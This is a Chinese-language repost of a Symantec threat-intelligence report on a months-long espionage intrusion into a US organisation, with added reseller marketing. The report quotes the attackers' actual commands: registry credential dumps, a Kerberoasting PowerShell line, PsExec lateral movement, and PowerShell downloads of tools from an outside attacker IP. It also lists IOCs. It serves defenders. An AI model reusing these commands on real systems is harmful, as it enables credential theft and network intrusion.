在中國的美國機構成為攻擊者的目標

2024 年 12 月 05 日發布｜威脅情報

威脅獵手團隊
賽門鐵克

中國攻擊者針對大型美國機構作為入侵目標，時間長達四個月

一家在中國擁有重要據點的大型美國機構，在今年早些時候遭到一次有針對性的攻擊，攻擊者在攻擊期間於該機構的網路上成功潛伏並持久性存在，似乎是為了收集情報。這次攻擊很可能是由中國的威脅份子所為，因為這次攻擊所使用的某些工具之前曾與中國攻擊者有關。

雖然實際的網路入侵可能發生得更早，但攻擊者活動的第一個證據可追溯至 2024 年 4 月，而且這種惡意活動一直持續到 2024 年 8 月。攻擊者在組織網路中橫向移動，入侵多台電腦。部分目標機器是 Exchange 伺服器，顯示攻擊者是透過收集電子郵件來收集情報。攻擊者也部署了滲透工具，因此可猜測目標資料已從組織中被擷取。

工具與策略

DLL 側載：攻擊者利用多個合法應用程式載入惡意軟體，此技術稱為 DLL 側載，攻擊者利用 Windows 中的 DLL 搜尋順序機制植入，然後調用執行惡意 DLL 有效載荷的合法應用程式。在這個案例中，有幾個 Google 和 Apple 應用程式被用來執行側載 (GoogleToolbarNotifier.exe 和 iTunesHelper.exe)。

Impacket：以 Python(一種通用程式語言) 寫成的開放原始碼模組集合，用於以程式化方式建構和操作網路通訊協定。它包含多種工具，用於遠端服務執行、Kerberos 操作、Windows 認證傾印、封包截獲偵測和中繼攻擊。

FileZilla：開放原始碼的 FTP 用戶端和伺服器，適用於 Windows、Linux 和 macOS。

PSCP：安全複製協定 (SCP) 用戶端，由與 PuTTY SSH 用戶端相同的開發人員製作。

就地取材：攻擊者還運用多種離地攻擊的工具，包括

- WMI (Windows Management Instrumentation)：微軟命令列工具，可用於在遠端電腦上執行指令。
- PsExec：微軟 Sysinternals 在系統上執行進程的工具。攻擊者主要使用此工具在受害者網路中橫向移動。
- PowerShell：微軟指令碼工具，可用於執行指令、下載有效載荷、穿越受攻擊的網路，以及進行偵查。

攻擊時間軸--第一台電腦

最初的感染媒介仍然未知。然而，惡意活動的第一個證據可追溯至 2024 年 4 月 11 日，當時一台電腦透過 WMI 執行了一個可疑的指令，該指令具有利用網路中另一台機器的 Impacket 工具的特徵：

cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$__1712807675.4462686 2>&1

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$__1712807675.4462686 2>&1

該指令來自網路上的另一台機器，這顯示攻擊者至少已入侵該組織網路上的另一台機器，而且入侵可能在 4 月 11 日之前就已開始。

攻擊者隨後嘗試使用「net use」指令掛載網路共用。接著，他們使用 reg.exe 從註冊表傾印憑證：

reg save hklm\system ss

reg save hklm\sam sa

一分鐘後，他們嘗試掛載另一個網路共用，使用「net use」指令，特別是嘗試掛載連接至網路附加儲存 (NAS) 裝置的磁碟機。

幾小時後，攻擊者返回並執行 netstat 檢查所有開啟的 TCP (作用中和監聽) 連線。

攻擊者接著執行另一個已編碼的 PowerShell 指令碼，其解碼為：

$ProgressPreference="SilentlyContinue";setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

該命令會查詢 Active Directory(AD) 中的服務主體名稱 (SPN)，SPN 是與 AD 中的服務相關聯的帳戶。指令接著會處理輸出以擷取相關詳細資料，然後為每個匹配的 SPN 擷取 Kerberos 安全權杖。

這是一種稱為 Kerberoasting 的策略，專門用於竊取服務帳號的憑證，攻擊者可能試圖離線破解，以取得特權帳號的存取權，協助在網路上橫向移動。

此外，值得注意的是，上述指令中指定的網域「medin.local」是許多公開可用的 Kerberoast 工具和腳本所使用的預設網域功能變數名稱，這顯示攻擊者未經任何修改就直接使用該現成的工具。

之後，我們觀察到攻擊者修改一些指令，並執行數個進一步的 PowerShell 指令，這次使用的是正確的網域：

$ProgressPreference=“SilentlyContinue”;setspn -T [REMOVED] -Q */*

$ProgressPreference=“SilentlyContinue”;klist

$ProgressPreference=“SilentlyContinue”;klist tgt

「klist」指令會列出使用者目前的 Kerberos 票證，讓您可以看到使用者目前的 Kerberos 認證狀態。此外，「tgt」指的是 Ticket Granting Ticket，這是一種用於認證到 Key Distribution Center (KDC) 的特殊票證類型。攻擊者很可能以此為目標，取得其他服務票據，試圖離線破解。

4 月 16 日，攻擊者透過 WMI 啟動指令提示時，惡意活動在同一台電腦上再度發生。

第二天，他們繼續執行一個名為 rc.exe 的檔案，這是 Google 應用程式 GoogleToolbarNotifier 的重命名版本。這個檔案被用來側載一個名為 gtn.dll 的惡意 DLL。

攻擊時間軸--第二台電腦

惡意活動於 2024 年 6 月 2 日在第二台機器 (Web 伺服器) 上開始。攻擊者再次透過 WMI 使用變更目錄指令，指令的結構顯示使用 Impacket：

```
cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1717319212.299007 2>&1
```

幾分鐘之後，攻擊者執行一個名為 putty.exe 的檔案。儘管名稱如此，該應用程式實際上是 FileZilla 的 SFTP 元件，而 FileZilla 是基於 PuTTY 的安全檔案傳輸協定 (SFTP) 用戶端。這很可能是為了資料滲透的目的而安裝。

6 月 13 日，同一個檔案透過 WMI 執行多次。

隔天 (6 月 14 日)，PowerShell 被用來從遠端主機下載檔案到 perflogs 目錄：

```
powershell (new-object System.Net.WebClient).DownloadFile( 'hxxp://149.28.154.23:443/rar.exe','CSIDL_SYSTEM_DRIVE\perflogs\rar.exe')
powershell (new-object System.Net.WebClient).DownloadFile( 'hxxp://149.28.154.23:443/vmtools.exe','CSIDL_SYSTEM_DRIVE\perflogs\vmtools.exe')
```

此次調查 rar.exe 檔案雖未被回復，但很可能是 WinRAR 的命令列版本。名為 vmtools.exe 的檔案是 PSCP 的重命名版本，PSCP 是安全複製協定 (SCP) 用戶端，由與 PuTTY SSH 相同的開發者所建立。

這台電腦上的惡意活動於 6 月 27 日繼續活動，當時執行許多指令，大部分是透過 PsExec 執行。在執行的檔案中，有合法的 Google 應用程式 GoogleUpdate.exe。在這台電腦上發現的可疑檔案中，有兩個名為 ibnettle-6.dll 和 textinputhost.dat 的檔案。可能其中一個或兩個都是被側載的惡意檔案。Textinputhost.dat 之前曾被 Sophos 和 Recorded Future 報告為中國 Crimson Palace 集團在攻擊東南亞目標時所使用。

攻擊時間軸--第三台電腦

惡意活動於 6 月 2 日在第三台機器上開始，當時使用 WMI 執行 wevtutil 從網路中的遠端機器查詢 Windows 事件日誌：

wevtutil qe security /rd:true /f:text /q:” *[System[(EventID=4624) or (EventID=4672) or (EventID=4634) or (EventID=4673) or (EventID=4740)]] and *[System[TimeCreated[timediff(@SystemTime)<=2592000000]]]”

命令的結構是查詢下列事件的安全事件日誌：

- EventID=4624: 成功登入事件。
- EventID=4672： 指派給新登入者的特殊權限。
- EventID=4634：登出事件。
- EventID=4673: 表示已呼叫特權服務。
- EventID=4740： 帳戶被鎖定。

緊接著，攻擊者透過 WMI 執行 PowerShell 指令碼：

cmd.exe /Q /c powershell echo ((new-object Net.Sockets.TcpClient).Connect(\” 192.168.92.92\” ,135)) “open!” 1> \\127.0.0.1\ADMIN$__1717327352.4534295 2>&1

攻擊者有可能使用這個腳本測試連線回網路上的另一台電腦，特別是確認 Microsoft 的遠端程式呼叫 (RPC) 服務是否可用 (連接埠 135)。攻擊者也嘗試使用連接埠 3389 (通常保留給 RDP)連線到同一台電腦：

powershell echo ((new-object Net.Sockets.TcpClient).Connect(\” 192.168.92.92\” ,3389)) “open!”

攻擊者於 6 月 20 日返回，並透過 PsExec 從網路上的另一台機器 (192.168.88.235) 發出命令提示。接著執行了數個 net 指令：

CSIDL_SYSTEM\net1 group “Exchange Servers” /domain

這些指令用於顯示網域特定群組的相關資訊。攻擊者對其中一個群組特別感興趣，那就是「Exchange Servers」，這表示攻擊者試圖以郵件伺服器為目標，收集並可能外洩電子郵件資料。

同一天稍後，透過 PsExec 執行了一個可疑的 PowerShell 指令：

powershell -exec bypass -command “Get-ADComputer -Filter {enabled -eq $true} -properties *|select Name, DNSHostName, OperatingSystem, LastLogonDate|Format-Table -AutoSize |Out-File -FilePath “CSIDL_COMMON_APPDATA\computer.txt -Width ([int]::MaxValue)”

該指令會從 Active Directory 擷取所有啟用的電腦，以及它們的名稱、DNS 主機名稱、作業系統和最後登錄日期。然後將資料格式化為表格，並儲存到名為 computer.txt 的檔案中。幾分鐘之後，執行 quser 指令，列出機器上所有登入/啟用的使用者帳戶。

隔天 (6 月 21 日)，這台機器再次被用來在網路上的另一台機器上啟動指令提示：

PsExec64.exe \\192.168.92.79 -accepteula cmd

攻擊時間軸--第四台電腦

6 月 5 日，透過 WMI 在第四台電腦上執行可疑指令：

reg.exe export “HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs” CSIDL_WINDOWS\temp\ts_2011.tmp

該命令將註冊表金鑰值匯出到 .TMP 檔案。註冊表金鑰 Control\Session Manager\KnownDLLs 包含受信任 DLL 的清單，系統開機時通常會從 System32 目錄載入這些 DLL，其他進程可能會利用這些 DLL。匯出此金鑰會複製與這些已知 DLL 相關聯的所有登錄值，並可能提供攻擊者關於哪些檔案名稱在重複使用時可能讓其看起來是無害的，或更有可能是為了 DLL 劫持的目的。這是一種常見的攻擊，惡意的 DLL 會被放置在目錄中，以取代合法的系統 DLL 來載入。

攻擊時間軸--第五台電腦

6 月 13 日，透過 WMI 執行指令以變更目錄至根磁碟機時，第五台機器的活動開始。攻擊者隨後嘗試從 PerfLogs 目錄啟動應用程式 iTunesHelper.exe。這可能是為了使用側載技術載入惡意 DLL (CoreFoundation.dll)(我們曾多次看到使用 CoreFoundation.dll 載入相同的二進位檔案)。

與已知行動者的連結

現有證據顯示，該組織是被中國的攻擊者攻破。除了 DLL 軟體載入是中國組織廣泛青睞的策略之外，同一組織在 2023 年也曾被攻擊者攻擊，該攻擊者與中國的 Daggerfly 組織有初步的連結。

之前 Sophos 和 RecordedFuture 曾報導，中國間諜組織 Crimson Palace 曾利用 textinputhost.dat 檔案攻擊東南亞地區。在該案例中，它與一個名為 rc.exe 的可執行檔一起使用。進行這次攻擊的攻擊者也使用相同的檔案名稱。

賽門鐵克端點安全中的行為安全技術為我們的客戶提供各種防禦，例如：無檔案式攻擊、Living Off the Land 和以行為為基礎的攻擊，包括非典型命令列活動和可疑的應用程式行為，及非程式可執行檔或 DLL sideloading。在此閱讀更多關於這些技術的資訊。

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (Indicators of Compromise)

如果 IOC 是惡意的並且我們能夠使用該檔案，Symantec Endpoint 產品將檢測並阻止該檔案。

9affdcdb398d437e2e1cd9bc1ccf2d101d79fc6d87e95e960e50847a141faa4 — PsExec

51fe904458e216e75909f82a33dc4f163250b498b4e2d365880184e806d3db1a — iTunesHelper

23221b6f95b9e3b165a84570212f2c8681cf888aa0fa78822f8500357eeafaf0 — CoreFoundation.dll

86fd8328765e4803feedf5878a08c149c08d47c336578261a08a3e1933b68daa — PSCP (renamed as vmtools.exe)

472a513eb60cba4a2320ebbc10d84679ebaa1a8f90e5a3764902a456b3936a17 — libnettle-6.dll

f2fa6ae29306ed7171f2e9563ced9bbd6e337ed8c389b319df3c6b46eeb050f0 — SFTP component from FileZilla

c1bec59afd3c6071b461bb480ff88ba7e36759a949f4850cc26f0c18e4c811a0 — textinputhost.dat

edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef — PsExec

1f6b69d11a3066e21c40002a25986c44e24a66f023a40e5f49eecaea33f5576d — GoogleUpdate

d32cc7b31a6f98c60abc313abc7d1143681f72de2bb2604711a0ba20710caaae — GoogleToolbarNotifier

ff91bbe7bd4e6d5498b1332f0ad233dcf0ad5fc0d31f870a92142731354d739c — gtn.dll

hxxp://149.28.154[.]23:443

關於作者

威脅獵手團隊
賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

原廠網址：https://www.security.com/threat-intelligence/us-china-espionage
本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2024/12

更多資訊 請造訪我們的網站 **http://www.SaveTime.com.tw**
(好記：幫您節省時間.的公司.在台灣)

關於賽門鐵克 (Symantec)

賽門鐵克 (Symantec) 已於 2019/11 併入全球網通晶片巨擘--博通 (BroadCom，美國股市代號 AVGO，全世界網際網路流量有 99.9% 經過博通的網通晶片) 軟體事業部的企業安全部門 (SED)，特別是近年以半導體的嚴謹、系統化以及零錯誤思維來改造核心技術、管理框架以及整合最完整的資安生態體系，讓賽門鐵克的解決方案在穩定性、相容性、有效性以及資安生態系整合擴充性，有著脫胎換骨並超越業界的長足進步。博通 (Broadcom) 是務實的完美主義者，致力於追求卓越、關注細節並且有系統和紀律地投入科技創新與嚴謹工藝，同時也大大降低交易複雜性。Symantec 持續創新的技術能為日新月異的資安問題提供更好的解決方案，近三年 Symantec 很少出現在由公關機制產生的頭版文章中，而且在全球前兩千大企業的市佔率及營收成長均遠遠高於併入博通之前，增長幅度也領先其他競爭對手，是科技創新驅動的解決方案非常穩健可靠深受大型企業信賴的實證，也顯示大型企業顧客對轉型中的新賽門鐵克未來充滿信心。(美籍華人王嘉廉創辦的企業軟體公司，組合國際電腦（CA Technologies）以及雲端運算及「硬體虛擬化」的領導廠商--VMware， 也是博通軟體事業部的成員)。2021 年八月，因應國外發動的針對性攻擊日益嚴重，美國網路安全暨基礎架構安全管理署（CISA）宣布聯合民間科技公司，發展全國性聯合防禦計畫 JCDC(Joint Cyber Defense Collaborative)，而博通賽門鐵克是首輪被徵招的一線廠商，如就地緣政治考量，Symantec 也絕對是最安全的資安廠商。擁有更強大資源與技術為後盾的賽門鐵克已更專注於整合各種最新科技於既有領先業界的端點、郵件、網頁以及身分認證等安全解決方案。

關於保安資訊 www.savetime.com.tw

保安資訊團隊是台灣第一家專注在賽門鐵克解決方案的技術型領導廠商，被業界公認為賽門鐵克解決方案專家。自 1995 年起就全心全力專注在賽門鐵克資訊安全解決方案的技術支援、銷售、規劃與整合、教育訓練、顧問服務，特別是提供企業 IT 專業人員的知識傳承 (Knowledge Transfer)、協助顧客符合邏輯地解決資安問題本質的效益上，以及基於比原廠更孰悉用戶使用情境的優勢能提供更快速有效的技術支援回應，深獲許多中大型企業與組織的信賴，長期合作的意願與滿意度極高。許多顧客樂意與我們建立起長期的友誼，把我們當成可信任的資安建議者、可以提供良好諮商的資安策略夥伴以及總是第一個被想到的好用資源。

保安資訊連絡電話：**0800-381-500**。